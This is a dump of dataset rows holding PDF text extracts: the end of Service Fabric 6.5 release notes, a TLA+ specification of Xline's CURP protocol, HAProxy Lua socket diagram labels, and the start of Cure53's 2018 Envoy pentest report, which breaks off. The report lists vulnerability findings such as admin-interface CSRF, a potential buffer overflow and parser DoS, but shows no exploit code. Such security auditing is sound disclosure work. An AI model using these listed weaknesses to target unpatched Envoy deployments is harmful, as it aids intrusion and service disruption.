\\ncapacity \\ndefault in \\nNode Type - - 0.5 0.5 \\nUser \\nservices \\ncapacity - \\nactual value 70 90 50 90 \\n \\n \\n \\n With this release, if user provides an override for the absolute capacity in NodeType, the % value \\nis NOT ignored, and will further discount the available resources on the node. \\n \\n Scenario 1 Scenario 2 Scenario 3 Scenario 4 \\nNode \\ncapacity \\nauto-\\ndetected \\nvalue \\n 100 100 100 100 \\nNode \\ncapacity \\nuser \\noverride \\n - 90 - 90 \\nUser \\nservices \\ncapacity \\ndefault in \\ncluster \\nmanifest \\n 0.7 0.7 0.7 0.7 \\nUser \\nservices \\ncapacity \\ndefault in \\nNode Type \\n - - 0.5 0.5 \\nUser \\nservices \\ncapacity - \\nactual value \\n 70 63 50 45 \\n \\n Service Fabric .NET SDK \\n \\n \\n \\n Reliable Services and Reliable Actors X.Y.Z \\n Feature Added replica -\\nlevel Service \\nFabric Events to \\nbe used with \\nReliable \\nCollections and \\nKeyValueStore. \\n \\n Brief desc: Added replica -level Service Fabric Events for stateful services. \\nHow/When to Consume it: Explained in the first paragra ph in: \\nhttps://docs.microsoft.com/en -us/azure/service -fabric/service -fabric -\\ndiagnostics -event -generation -operational \\nDocumentation: \\nhttps://docs.microsoft.com/azure/service -fabric/service -fabric -\\ndiagnostics -event -generation -operational#replica -events \\n \\n Service Fabric PowerShell and CLI \\n \\n Versions IssueType Description Resolution \\nSFCTL 8 \\n Feature As of Service Fabric on \\nLinux 6.5 in Azure, sfctl is \\ninstalled on machines by \\ndefault. \\n \\n Brief desc: Latest version SFCTL is installed o n Service Fabric on Linux \\nmachines when creating a new cluster or upgrading a cluster to 6.5. \\nHow/When to Consume it: Automatic. \\nhttps://docs.microsoft.com/en -us/azure/service -fabric/service -fabric -cli \\n \\n Repositories and Download Links \\nThe table below is an overview of the direct links to the packages associated with this release. \\nFollow this guidance for setting up your developer environment: \\n• Linux: https://docs.microsoft.com/en -us/azure/service -fabric/service -fabric -get-started -linux \\n• Mac: https://do cs.microsoft.com/en -us/azure/service -fabric/service -fabric -get-started -mac \\n• Windows: https://docs.microsoft.com/en -us/azure/service -fabric/service -fabric -get-started \\nArea Package Version Repository Direct Download Link \\nService \\nFabric \\nRuntime Ubuntu Developer Set -up 6.5.435 .1 N/A Cluster Runtime: \\nhttps://apt -\\nmo.trafficmanager.net/repos/servicefab\\nric/pool/main/s/servicefabric \\nService Fabric SDK for local cluster \\nsetup: \\nhttps://apt -\\nmo.trafficmanager.net/repos/servicef\\nabric/pool/main/s/servicefabricsdkco\\nmmon/ \\nContainer image: \\nhttps://hub.docker.com/r/microsoft/ser\\nvice-fabric -onebox/ \\nService \\nFabric \\nRuntime Windows Developer Set -up 6.5.639.9590 N/A https://download.microsoft.com/downl\\noad/C/7/B/C7B7BA41 -B95A -4363 -\\n8B28 -\\n7075E9B10E99/MicrosoftServiceFabri\\nc.6.5.639.95 90.exe \\nService \\nFabric for \\nWindows \\nServer Service Fabric Standalone \\nInstaller Package 6.5.639.9590 \\n N/A https://download.microsoft.com/downl\\noad/8/3/6/836E3E99 -A300 -4714 -\\n8278 -\\n96BC3E8B5528/6.5.639.9590/Microso\\nft.Azure.ServiceFabric.WindowsServe\\nr.6.5.639.9590.zip \\n Area Package Version Repository Direct Download Link \\nService \\nFabric for \\nWindows \\nServer Service Fabric Standalone \\nRuntime 6.5.639.9590 N/A https://download.microsoft.com/downl\\noad/B/0/B/B0BCCAC5 -65AA -4BE3 -\\nAB13 -\\nD5FF5890F4B5/6.5.639.9590/Microso\\nftAzureServiceFabric.6.5.639.9590.cab \\n.NET SDK Windows .NET SDK 3.4.639 N/A https://download.microsoft.com/downl\\noad/C/7/B/C7B7BA41 -B95A -4363 -\\n8B28 -\\n7075E9B10E99/MicrosoftServiceFabri\\ncSDK.3.4.639.msi \\n.NET SDK Microsoft.ServiceFabric 6.5.639 N/A https://www.nuget.org \\n.NET SDK Reliable Services and \\nReliable Actors \\n• Microsoft.ServiceFa\\nbric. Services \\n• Microsoft.ServiceFa\\nbric.Services.Remoti\\nng \\n• Microsoft.ServiceFa\\nbric.Services.Wcf \\n• Microsoft.ServiceFa\\nbric.Actors \\n• Microsoft.ServiceFa\\nbric.Actors.Wcf 3.4.639 https://github.com/Azure/service -\\nfabric -services -and-actors -dotnet https://www.nuget.org \\n.NET SDK ASP.NET Core Service \\nFabric integration \\n• Microsoft.ServiceFa\\nbric.Services.AspNe\\ntCore.* 3.4.639 https://github.com/Azure/service -\\nfabric -aspnetcore https://www.nuget.org \\n Area Package Version Repository Direct Download Link \\n.NET SDK Data, Diagnostics and Fabric \\ntransport \\n• Microsoft.ServiceFa\\nbric.Data \\n• Microsoft.ServiceFa\\nbric.Data.Interfaces \\n• Microsoft.ServiceFa\\nbric.Diagnostics.Inte\\nrnal \\nMicrosoft.ServiceFabric.Fab\\nricTransport.Internal 3.4.639 N/A https://www.nuget.org \\n.NET SDK Microsoft.ServiceFabric.Dat\\na.Extensions 1.4.639 N/A https://www.nuget.org \\n \\nJava SDK Java SDK 1.0.5 N/A https://mvnr epository.com/artifact/com\\n.microsoft.servicefabric/sf -actors/1.0.5 \\nVisual \\nStudio Visual Studio 2017 Tools for \\nService Fabric 2.4.11024.1 N/A Included in Visual Studio 2017 Update \\n7 (15.7) and above \\n Visual Studio 2015 Tools for \\nService Fabric 2.4.11116.1 N/A See localized download links below \\nEclipse Service Fabric plug -in for \\nEclipse 2.0.7 N/A N/A \\nYeoman Azure Service Fabric Java \\ngenerator 1.0.7 https://github.com/Azure/generator\\n-azuresfjava N/A \\nYeoman Azure Service Fabric C# \\ngenerator 1.0.9 https://github.com/Azure/generator\\n-azuresfcsharp N/A \\nYeoman Azure Service Fabric guest \\nexecutables generator 1.0.1 https://github.com/Azure/generator\\n-azuresfguest N/A \\nYeoman Azure Service Fabric \\nContainer generators 1.0.1 https://github.com/Azure/generator\\n-azuresfcontainer N/A \\nCLI Service Fabric CLI 8.0.0 https://github.com/Azure/service -\\nfabric -cli https://pypi.python.org/pypi/sfctl \\nPowerShell AzureRM.ServiceFabric 0.3.15 https://github.com/Azure/azure -\\npowershell/tree/preview/src/Resou\\nrceManager/ServiceFabric https://www.powershellgallery.com/pa\\nckages/AzureRM.ServiceFabric/0.3.15 \\n \\nVisual Studio 2015 Tool for Service Fabric – localized download links \\nNOTE: The below download links are for the 2.4.11116.1 release of Visual Studio 2015 Tools for Service Fabric. \\n \\nhttps://download.microsoft.com/download/C/7/B/C 7B7BA41 -B95A -4363 -8B28 -7075E9B10E99/MicrosoftAzureServiceFabricTools.VS140.de -de.msi \\nhttps://download.mic rosoft.com/download/C/7/B/C7B7BA41 -B95A -4363 -8B28 -7075E9B10E99/MicrosoftAzureServiceFabricTools.VS140.en -us.msi \\nhttps://download.microsoft.com/download/C/7/B/C7B7BA41 -B95A -4363 -8B28 -7075E9B10E99/MicrosoftAzureServiceFabricTools.VS140.es -es.msi \\nhttps://download.microsoft.com/download/C/7/B/C7B7BA41 -B95A -4363 -8B28 -7075E9B10E99/MicrosoftAzureServiceFabricTools.VS140.fr -fr.msi \\nhttps://download.microsoft.com/download/C/7/B/C7B7BA41 -B95A -4363 -8B28 -7075E9B10E99/MicrosoftAzureServiceFabricTools.VS140.it -it.msi \\nhttps://download.microsoft.com/download/C/7/B/C7B7BA41 -B95A -4363 -8B28 -7075E9B10E99/MicrosoftAzureServiceFabricTools.VS140.ja -jp.msi \\nhttps://download.microsoft.com/download/C/7/B/C7B7BA41 -B95A -4363 -8B28 -7075E9B10E99/MicrosoftAzureServiceFabricTools.VS140.ko -kr.msi \\nhttps://download.microsoft.com/download/C/7/B/C7B7BA41 -B95A -4363 -8B28 -7075E9B10E99/MicrosoftAzureServiceFabricTools.VS140.ru -ru.msi \\nhttps://download.microsoft.com/download/C/7/B/C7B7BA41 -B95A -4363 -8B28 -7075E9B10E99/MicrosoftAzureServiceFab ricTools.VS140.zh -cn.msi \\nhttps://download.microsoft.com/download/C/7/B/C7B7BA41 -B95A -4363 -8B28 -7075E9B10E 99/MicrosoftAzureServiceFabricTools.VS140.zh -tw.msi \"\n }\n]"}}},{"rowIdx":39472,"cells":{"tag":{"kind":"string","value":"{\n \"category\": \"Orchestration & Management\",\n \"file_name\": \"curp.pdf\",\n \"project_name\": \"Xline\",\n \"subcategory\": \"Coordination & Service Discovery\"\n}"},"content":{"kind":"list like","value":[{"data":"module curp\nextends FiniteSets ,Naturals ,Sequences\nConstants:\ncommands :set of records like [key7→“key” ,value7→“value” ].\nreplicas :set of replicas .\nconstants commands ,replicas\nassume IsFiniteSet (replicas )\nVariables :\nleader :records the leader of each epoch .\nepoch :current epoch (the number of leader changes ).\nproposedCmds :the set of proposed commands .\nproposeRequests :the set of propose could be received by each replica .\nproposeResponses :the set of responses in each epoch to each proposed\ncommand .\nspecPools :the speculative pool of each replica .\nuncommittedCmds :the sequence of back −end protocol uncommitted commands .\ncommittedCmds :the sequence of back −end protocol committed commands .\ncommitMsgs :the set of commit messages could be received by each replica .\nspecExecPrevCmd :the index of the last same −key command in the committed\nsequence at the time the leader responds to the proposal .\nvariables leader ,epoch ,proposedCmds ,proposeRequests ,\nproposeResponses ,specPools ,uncommittedCmds ,\ncommittedCmds ,commitMsgs ,specExecPrevCmd\nThe epoch space .\nepoches∆=Nat\nSpecial noLeader value ,for future epoches .\nnoLeader∆=choose r:r/∈replicas\nIn N = 2∗f+ 1replicas :\nquorum :a set of replicas that contains at least f + 1replicas .\nsuperQuorum :a set of replicas that contains at least f + (f+ 1) /2 + 1\nreplicas .\nrecoverQuorum :a set of replicas that contains at least (f+ 1) /2 + 1\nreplicas .\nquorums∆=\nlet f∆=Cardinality (replicas )÷2\nsize∆=f+ 1\nin{q∈subset replicas :Cardinality (q)≥size}\nsuperQuorums∆=\nletf∆=Cardinality (replicas )÷2\nsize∆=f+ (f+ 1)÷2 + 1\n1in{q∈subset replicas :Cardinality (q)≥size}\nrecoverQuorums∆=\nletf∆=Cardinality (replicas )÷2\nsize∆= (f+ 1)÷2 + 1\nin{q∈subset replicas :Cardinality (q)≥size}\nHelper function for converting a set to a set containing all sequences\ncontaining the elements of the set exactly once and no other elements .\nSetToSeqs (set)∆=\nletlen∆= 1 . .Cardinality (set)in\n{f∈[len→set] :∀i,j∈len:i̸=j⇒f[i]̸=f[j]}\nHelper function for getting the index of the last element in a sequence\nsatisfying the predicate .\nGetIdxInSeq (seq,Pred())∆=\nletI∆={i∈1. .Len(seq) :Pred(seq[i])}in\nifI̸={}then choose i∈I:∀j∈I:j≤ielse 0\nPropose a command .\nThis is done by the client sending a proposeRequest to all replicas .\nPropose (cmd)∆=\n∧proposedCmds′=proposedCmds ∪ {cmd}\n∧proposeRequests′=\n[r∈replicas 7→proposeRequests [r]∪ {cmd}]\n∧unchanged ⟨leader ,epoch ,specPools ,proposeResponses ,\nuncommittedCmds ,committedCmds ,commitMsgs ,\nspecExecPrevCmd ⟩\nHow the leader process a proposeRequest .\nProcessProposeLeader (r,cmd)∆=\nletspecPoolHasConflict∆=\n∃specCmd ∈specPools [r] :specCmd .key=cmd .key\nuncommittedCmdsHasConflict∆=\nGetIdxInSeq (uncommittedCmds ,lambda e:e.key=cmd .key)̸= 0\nin\n∧proposeRequests′=\n[proposeRequests except ![r] = @\\{cmd}]\n∧specPools′=\n[specPools except ![r] =\nif¬specPoolHasConflict then @∪ {cmd}else @]\n∧uncommittedCmds′=Append (uncommittedCmds ,cmd)\n∧proposeResponses′=\n[proposeResponses except ![cmd][epoch ] =\nif¬specPoolHasConflict ∧ ¬uncommittedCmdsHasConflict\n2then @∪ {r}\nelse @]\n∧specExecPrevCmd′=\n[specExecPrevCmd except ![cmd] =\nif¬specPoolHasConflict ∧ ¬uncommittedCmdsHasConflict\nthen GetIdxInSeq (committedCmds ,lambda e:e.key=cmd .key)\nelse @]\n∧unchanged ⟨leader ,epoch ,proposedCmds ,committedCmds ,\ncommitMsgs ⟩\nHow a non −leader replica process a proposeRequest .\nProcessProposeNonLeader (r,cmd)∆=\nletspecPoolHasConflict∆=\n∃specCmd ∈specPools [r] :specCmd .key=cmd .key\nin\n∧proposeRequests′=\n[proposeRequests except ![r] = @\\{cmd}]\n∧specPools′=\n[specPools except ![r] =\nif¬specPoolHasConflict then @∪ {cmd}else @]\n∧proposeResponses′=\n[proposeResponses except ![cmd][epoch ] =\nif¬specPoolHasConflict then @∪ {r}else @]\n∧unchanged ⟨leader ,epoch ,proposedCmds ,uncommittedCmds ,\ncommittedCmds ,commitMsgs ,specExecPrevCmd ⟩\nSyncing a command using the back −end protocol (Raft).The implementation details\nare omitted .\nA replica may not be able to receive the commit message at the exact time the\nthe leader sends it .\nCommit∆=\n∧committedCmds′=Append (committedCmds ,Head (uncommittedCmds ))\n∧commitMsgs′=\n[r∈replicas 7→commitMsgs [r]∪ {Head (uncommittedCmds )}]\n∧uncommittedCmds′=Tail(uncommittedCmds )\n∧unchanged ⟨leader ,epoch ,specPools ,proposedCmds ,proposeRequests ,\nproposeResponses ,specExecPrevCmd ⟩\nHow a replica process a commit message .\nProcessCommitMsg (r,cmd)∆=\n∧commitMsgs′=\n[commitMsgs except ![r] = @\\{cmd}]\n∧specPools′= [specPools except ![r] = @\\{cmd}]\n∧unchanged ⟨leader ,epoch ,proposedCmds ,proposeRequests ,\nproposeResponses ,uncommittedCmds ,committedCmds ,\n3specExecPrevCmd ⟩\nLeader Change Action\nThe new leader should gather at least a quorum of replicas specPool to recover the commands.\nCommands existed in the specPool of aRecoverQuorum of replicas need to be recovered.\nLeaderChange (l)∆=\n∧leader′= [e∈epoches 7→ife=epoch + 1then lelse leader [e]]\n∧epoch′=epoch + 1\n∧ ∃q∈quorums :\nletspecCmds∆=union {specPools [r] :r∈q}\nnewSpecPool∆=\n{cmd∈specCmds :\n{r∈q:cmd∈specPools [r]} ∈recoverQuorums }\nin\n∧specPools′= [specPools except ![l] =newSpecPool ]\n∧uncommittedCmds′∈SetToSeqs (newSpecPool )\n∧unchanged ⟨proposedCmds ,proposeRequests ,proposeResponses ,\ncommittedCmds ,commitMsgs ,specExecPrevCmd ⟩\nThe initial state of the system.\nInit∆=\n∃r∈replicas :\nletinitEpoch∆= 1initLeader∆=rin\n∧leader = [e∈epoches 7→\nife=initEpoch then initLeader else noLeader ]\n∧epoch =initEpoch\n∧proposedCmds ={}\n∧proposeRequests = [replica ∈replicas 7→ {} ]\n∧proposeResponses =\n[cmd∈commands 7→[e∈epoches 7→ {} ]]\n∧specPools = [replica ∈replicas 7→ {} ]\n∧uncommittedCmds =⟨⟩\n∧committedCmds =⟨⟩\n∧commitMsgs = [replica ∈replicas 7→ {} ]\n∧specExecPrevCmd = [cmd∈commands 7→0]\nNext∆=\n∨ ∃cmd∈(commands \\proposedCmds ) :Propose (cmd)\n∨ ∃r∈replicas :∃cmd∈proposeRequests [r] :\nifleader [epoch ] =r\nthen ProcessProposeLeader (r,cmd)\nelse ProcessProposeNonLeader (r,cmd)\n∨uncommittedCmds ̸=⟨⟩ ∧Commit\n∨ ∃r∈replicas :∃cmd∈commitMsgs [r] :ProcessCommitMsg (r,cmd)\n∨ ∃l∈replicas :LeaderChange (l)\n4Spec∆=Init∧2[Next]⟨leader ,epoch ,specPools ,proposedCmds ,\nproposeRequests ,proposeResponses ,\nuncommittedCmds ,committedCmds ,commitMsgs ,\nspecExecPrevCmd ⟩\nType Invariants\nTypeOK∆=\n∧leader ∈[epoches →(replicas ∪ {noLeader })]\n∧epoch ∈epoches\n∧proposedCmds ⊆commands\n∧proposeRequests ∈[replicas →subset commands ]\n∧proposeResponses ∈[commands →[epoches →subset replicas ]]\n∧specPools ∈[replicas →subset commands ]\n∧uncommittedCmds ∈union {SetToSeqs (s) :s∈subset commands }\n∧committedCmds ∈union {SetToSeqs (s) :s∈subset commands }\n∧commitMsgs ∈[replicas →subset commands ]\n∧specExecPrevCmd ∈[commands →0. .Cardinality (commands )]\nStability Property\nThis is the key property of CURP :\n1. If a command is committed by CURP , command will eventually be synced by the back-end\nprotocol.\n2. If a command is committed by CURP , when the command is synced be the back-end protocol,\nthere will never be a command with the same key between the command and the recorded\nprevious same-key command in the synced sequence.\nStability∆=\n∀cmd∈commands :∀e∈epoches :\n(∧leader [e]∈proposeResponses [cmd][e]\n∧proposeResponses [cmd][e]∈superQuorums )⇒\nletidx∆=GetIdxInSeq (committedCmds ,lambda t:t=cmd)\nprevExecCmds∆=SubSeq (committedCmds ,1,idx)\nin\n∧idx̸= 0\n∧GetIdxInSeq (prevExecCmds ,lambda t:t.key=cmd .key) =\nspecExecPrevCmd [cmd]\ntheorem Spec⇒2TypeOK ∧3Stability\n5"}],"string":"[\n {\n \"data\": \"module curp\\nextends FiniteSets ,Naturals ,Sequences\\nConstants:\\ncommands :set of records like [key7→“key” ,value7→“value” ].\\nreplicas :set of replicas .\\nconstants commands ,replicas\\nassume IsFiniteSet (replicas )\\nVariables :\\nleader :records the leader of each epoch .\\nepoch :current epoch (the number of leader changes ).\\nproposedCmds :the set of proposed commands .\\nproposeRequests :the set of propose could be received by each replica .\\nproposeResponses :the set of responses in each epoch to each proposed\\ncommand .\\nspecPools :the speculative pool of each replica .\\nuncommittedCmds :the sequence of back −end protocol uncommitted commands .\\ncommittedCmds :the sequence of back −end protocol committed commands .\\ncommitMsgs :the set of commit messages could be received by each replica .\\nspecExecPrevCmd :the index of the last same −key command in the committed\\nsequence at the time the leader responds to the proposal .\\nvariables leader ,epoch ,proposedCmds ,proposeRequests ,\\nproposeResponses ,specPools ,uncommittedCmds ,\\ncommittedCmds ,commitMsgs ,specExecPrevCmd\\nThe epoch space .\\nepoches∆=Nat\\nSpecial noLeader value ,for future epoches .\\nnoLeader∆=choose r:r/∈replicas\\nIn N = 2∗f+ 1replicas :\\nquorum :a set of replicas that contains at least f + 1replicas .\\nsuperQuorum :a set of replicas that contains at least f + (f+ 1) /2 + 1\\nreplicas .\\nrecoverQuorum :a set of replicas that contains at least (f+ 1) /2 + 1\\nreplicas .\\nquorums∆=\\nlet f∆=Cardinality (replicas )÷2\\nsize∆=f+ 1\\nin{q∈subset replicas :Cardinality (q)≥size}\\nsuperQuorums∆=\\nletf∆=Cardinality (replicas )÷2\\nsize∆=f+ (f+ 1)÷2 + 1\\n1in{q∈subset replicas :Cardinality (q)≥size}\\nrecoverQuorums∆=\\nletf∆=Cardinality (replicas )÷2\\nsize∆= (f+ 1)÷2 + 1\\nin{q∈subset replicas :Cardinality (q)≥size}\\nHelper function for converting a set to a set containing all sequences\\ncontaining the elements of the set exactly once and no other elements .\\nSetToSeqs (set)∆=\\nletlen∆= 1 . .Cardinality (set)in\\n{f∈[len→set] :∀i,j∈len:i̸=j⇒f[i]̸=f[j]}\\nHelper function for getting the index of the last element in a sequence\\nsatisfying the predicate .\\nGetIdxInSeq (seq,Pred())∆=\\nletI∆={i∈1. .Len(seq) :Pred(seq[i])}in\\nifI̸={}then choose i∈I:∀j∈I:j≤ielse 0\\nPropose a command .\\nThis is done by the client sending a proposeRequest to all replicas .\\nPropose (cmd)∆=\\n∧proposedCmds′=proposedCmds ∪ {cmd}\\n∧proposeRequests′=\\n[r∈replicas 7→proposeRequests [r]∪ {cmd}]\\n∧unchanged ⟨leader ,epoch ,specPools ,proposeResponses ,\\nuncommittedCmds ,committedCmds ,commitMsgs ,\\nspecExecPrevCmd ⟩\\nHow the leader process a proposeRequest .\\nProcessProposeLeader (r,cmd)∆=\\nletspecPoolHasConflict∆=\\n∃specCmd ∈specPools [r] :specCmd .key=cmd .key\\nuncommittedCmdsHasConflict∆=\\nGetIdxInSeq (uncommittedCmds ,lambda e:e.key=cmd .key)̸= 0\\nin\\n∧proposeRequests′=\\n[proposeRequests except ![r] = @\\\\{cmd}]\\n∧specPools′=\\n[specPools except ![r] =\\nif¬specPoolHasConflict then @∪ {cmd}else @]\\n∧uncommittedCmds′=Append (uncommittedCmds ,cmd)\\n∧proposeResponses′=\\n[proposeResponses except ![cmd][epoch ] =\\nif¬specPoolHasConflict ∧ ¬uncommittedCmdsHasConflict\\n2then @∪ {r}\\nelse @]\\n∧specExecPrevCmd′=\\n[specExecPrevCmd except ![cmd] =\\nif¬specPoolHasConflict ∧ ¬uncommittedCmdsHasConflict\\nthen GetIdxInSeq (committedCmds ,lambda e:e.key=cmd .key)\\nelse @]\\n∧unchanged ⟨leader ,epoch ,proposedCmds ,committedCmds ,\\ncommitMsgs ⟩\\nHow a non −leader replica process a proposeRequest .\\nProcessProposeNonLeader (r,cmd)∆=\\nletspecPoolHasConflict∆=\\n∃specCmd ∈specPools [r] :specCmd .key=cmd .key\\nin\\n∧proposeRequests′=\\n[proposeRequests except ![r] = @\\\\{cmd}]\\n∧specPools′=\\n[specPools except ![r] =\\nif¬specPoolHasConflict then @∪ {cmd}else @]\\n∧proposeResponses′=\\n[proposeResponses except ![cmd][epoch ] =\\nif¬specPoolHasConflict then @∪ {r}else @]\\n∧unchanged ⟨leader ,epoch ,proposedCmds ,uncommittedCmds ,\\ncommittedCmds ,commitMsgs ,specExecPrevCmd ⟩\\nSyncing a command using the back −end protocol (Raft).The implementation details\\nare omitted .\\nA replica may not be able to receive the commit message at the exact time the\\nthe leader sends it .\\nCommit∆=\\n∧committedCmds′=Append (committedCmds ,Head (uncommittedCmds ))\\n∧commitMsgs′=\\n[r∈replicas 7→commitMsgs [r]∪ {Head (uncommittedCmds )}]\\n∧uncommittedCmds′=Tail(uncommittedCmds )\\n∧unchanged ⟨leader ,epoch ,specPools ,proposedCmds ,proposeRequests ,\\nproposeResponses ,specExecPrevCmd ⟩\\nHow a replica process a commit message .\\nProcessCommitMsg (r,cmd)∆=\\n∧commitMsgs′=\\n[commitMsgs except ![r] = @\\\\{cmd}]\\n∧specPools′= [specPools except ![r] = @\\\\{cmd}]\\n∧unchanged ⟨leader ,epoch ,proposedCmds ,proposeRequests ,\\nproposeResponses ,uncommittedCmds ,committedCmds ,\\n3specExecPrevCmd ⟩\\nLeader Change Action\\nThe new leader should gather at least a quorum of replicas specPool to recover the commands.\\nCommands existed in the specPool of aRecoverQuorum of replicas need to be recovered.\\nLeaderChange (l)∆=\\n∧leader′= [e∈epoches 7→ife=epoch + 1then lelse leader [e]]\\n∧epoch′=epoch + 1\\n∧ ∃q∈quorums :\\nletspecCmds∆=union {specPools [r] :r∈q}\\nnewSpecPool∆=\\n{cmd∈specCmds :\\n{r∈q:cmd∈specPools [r]} ∈recoverQuorums }\\nin\\n∧specPools′= [specPools except ![l] =newSpecPool ]\\n∧uncommittedCmds′∈SetToSeqs (newSpecPool )\\n∧unchanged ⟨proposedCmds ,proposeRequests ,proposeResponses ,\\ncommittedCmds ,commitMsgs ,specExecPrevCmd ⟩\\nThe initial state of the system.\\nInit∆=\\n∃r∈replicas :\\nletinitEpoch∆= 1initLeader∆=rin\\n∧leader = [e∈epoches 7→\\nife=initEpoch then initLeader else noLeader ]\\n∧epoch =initEpoch\\n∧proposedCmds ={}\\n∧proposeRequests = [replica ∈replicas 7→ {} ]\\n∧proposeResponses =\\n[cmd∈commands 7→[e∈epoches 7→ {} ]]\\n∧specPools = [replica ∈replicas 7→ {} ]\\n∧uncommittedCmds =⟨⟩\\n∧committedCmds =⟨⟩\\n∧commitMsgs = [replica ∈replicas 7→ {} ]\\n∧specExecPrevCmd = [cmd∈commands 7→0]\\nNext∆=\\n∨ ∃cmd∈(commands \\\\proposedCmds ) :Propose (cmd)\\n∨ ∃r∈replicas :∃cmd∈proposeRequests [r] :\\nifleader [epoch ] =r\\nthen ProcessProposeLeader (r,cmd)\\nelse ProcessProposeNonLeader (r,cmd)\\n∨uncommittedCmds ̸=⟨⟩ ∧Commit\\n∨ ∃r∈replicas :∃cmd∈commitMsgs [r] :ProcessCommitMsg (r,cmd)\\n∨ ∃l∈replicas :LeaderChange (l)\\n4Spec∆=Init∧2[Next]⟨leader ,epoch ,specPools ,proposedCmds ,\\nproposeRequests ,proposeResponses ,\\nuncommittedCmds ,committedCmds ,commitMsgs ,\\nspecExecPrevCmd ⟩\\nType Invariants\\nTypeOK∆=\\n∧leader ∈[epoches →(replicas ∪ {noLeader })]\\n∧epoch ∈epoches\\n∧proposedCmds ⊆commands\\n∧proposeRequests ∈[replicas →subset commands ]\\n∧proposeResponses ∈[commands →[epoches →subset replicas ]]\\n∧specPools ∈[replicas →subset commands ]\\n∧uncommittedCmds ∈union {SetToSeqs (s) :s∈subset commands }\\n∧committedCmds ∈union {SetToSeqs (s) :s∈subset commands }\\n∧commitMsgs ∈[replicas →subset commands ]\\n∧specExecPrevCmd ∈[commands →0. .Cardinality (commands )]\\nStability Property\\nThis is the key property of CURP :\\n1. If a command is committed by CURP , command will eventually be synced by the back-end\\nprotocol.\\n2. If a command is committed by CURP , when the command is synced be the back-end protocol,\\nthere will never be a command with the same key between the command and the recorded\\nprevious same-key command in the synced sequence.\\nStability∆=\\n∀cmd∈commands :∀e∈epoches :\\n(∧leader [e]∈proposeResponses [cmd][e]\\n∧proposeResponses [cmd][e]∈superQuorums )⇒\\nletidx∆=GetIdxInSeq (committedCmds ,lambda t:t=cmd)\\nprevExecCmds∆=SubSeq (committedCmds ,1,idx)\\nin\\n∧idx̸= 0\\n∧GetIdxInSeq (prevExecCmds ,lambda t:t.key=cmd .key) =\\nspecExecPrevCmd [cmd]\\ntheorem Spec⇒2TypeOK ∧3Stability\\n5\"\n }\n]"}}},{"rowIdx":39473,"cells":{"tag":{"kind":"string","value":"{\n \"category\": \"Orchestration & Management\",\n \"file_name\": \"lua_socket.pdf\",\n \"project_name\": \"HAProxy\",\n \"subcategory\": \"Service Proxy\"\n}"},"content":{"kind":"list like","value":[{"data":"lua_State *Tstruct hlua\nstop_list *stop\nstruct stream_interface si[0]\nenum obj_type *endstruct streamstack Lua\nstack entry 0\nstack entry 1\nstack entry 2\nstruct hlua_socket\nstack entry 3\nstack entry 4(list)struct session\nstruct task *task\nhlua_tcp_gc()\nCalled just before the object\ngarbaging(list)struct hlua_socket_com\nstruct task *task\nstruct appctx\nstruct \nstruct hlua_tcp *wrstruct hlua_tcp *rd\nhlua_tcp_release()\nCalled when the applet is destroyed.update_tcp_handler()\nCalled on each change on the \ntcp connection state.struct xref *xref\nstruct xref *xref"}],"string":"[\n {\n \"data\": \"lua_State *Tstruct hlua\\nstop_list *stop\\nstruct stream_interface si[0]\\nenum obj_type *endstruct streamstack Lua\\nstack entry 0\\nstack entry 1\\nstack entry 2\\nstruct hlua_socket\\nstack entry 3\\nstack entry 4(list)struct session\\nstruct task *task\\nhlua_tcp_gc()\\nCalled just before the object\\ngarbaging(list)struct hlua_socket_com\\nstruct task *task\\nstruct appctx\\nstruct \\nstruct hlua_tcp *wrstruct hlua_tcp *rd\\nhlua_tcp_release()\\nCalled when the applet is destroyed.update_tcp_handler()\\nCalled on each change on the \\ntcp connection state.struct xref *xref\\nstruct xref *xref\"\n }\n]"}}},{"rowIdx":39474,"cells":{"tag":{"kind":"string","value":"{\n \"category\": \"Orchestration & Management\",\n \"file_name\": \"audit_cure53_2018.pdf\",\n \"project_name\": \"Envoy\",\n \"subcategory\": \"Service Proxy\"\n}"},"content":{"kind":"list like","value":[{"data":" Dr.-Ing. Mario Heiderich, Cure53\n Bielefelder Str. 14 \n D 10709 Berlin\n cure53.de · mario@cure53.de \nPentest-Report Envoy Proxy 02.2018\nCure53, Dr.-Ing. M. Heiderich, M. Wege, MSc. N. Krein, J. Larsson, Dipl.-Ing. A. Inführ,\nBSc. J. Hector, G. Kopf, M. Münch\nIndex\nIntroduction\nScope\nTest Coverage\nIdentified Vulnerabilities\nEP-01-001 HTTP: Lacking Admin-Interface Security allows CSRF and DOS (High)\nEP-01-002 HTTP: Potential BoF with HeaderStrings and Inline Buffers (Medium)\nEP-01-003 HTTP: Potential UaF with HeaderStrings and Ref. Buffers (Medium)\nEP-01-004 HTTP: Potential Integer Overflow during Header Encoding (Medium)\nMiscellaneous Issues\nEP-01-005 Common: strlcpy does not check for zero-sized Parameters (Low)\nEP-01-006 Redis: User-Controlled Allocation leads to DoS (Medium)\nEP-01-007 MongoDB: Stack Exhaustion via unbounded Recursion (Medium)\nEP-01-008 MongoDB: Lax Parsing when processing malformed Messages (Low)\nConclusion\nIntroduction\n“Originally built at Lyft, Envoy is a high performance C++ distributed proxy designed for\nsingle services and applications, as well as a communication bus and “universal data\nplane” designed for large microservice “service mesh” architectures.\nBuilt on the learnings of solutions such as NGINX, HAProxy, hardware load balancers,\nand cloud load balancers, Envoy runs alongside every application and abstracts the\nnetwork by providing common features in a platform-agnostic manner. When all service\ntraffic in an infrastructure flows via an Envoy mesh, it becomes easy to visualize\nproblem areas via consistent observability, tune overall performance, and add substrate\nfeatures in a single place.”\nFrom https://www.envoyproxy.io\nCure53, Berlin · 02/27/18 1/13 Dr.-Ing. Mario Heiderich, Cure53\n Bielefelder Str. 14 \n D 10709 Berlin\n cure53.de · mario@cure53.de \nThis report documents the results of a penetration test and source code audit of the\nEnvoy proxy software. The project was carried out by Cure53 in February 2018 and\nyielded eight security-relevant findings.\nIn terms of resources, the testing team comprised six members of the Cure53 and two\ninvited experts from Secfault Security GmbH. This overall eight-member team was\ngranted a time budget of twenty days to complete the assessment, with a caveat that an\nadequate budget fraction should be preserved for the task of fix verifications and\ncommunications to happen post-assessment. Moving on to the approach, it has to be\nunderlined that all relevant sources of the Envoy compound are openly available on\nGithub. This naturally means that the security evaluation was rooted in a white-box\npremise since the envisioned attackers would have unlimited access to Envoy public\ndata. \nIt should be stated that the core scope items concerned exposition to rogue user-input,\nwith particular foci pointing to the HTTP parser, the header sanitizer and other\ncomponents of similar notoriety. What is more, the Envoy maintainers specifically\nrequested that the testers examine the TLS configuration, XFF and the generally\nslowloris-style DoS attacks. While all this was 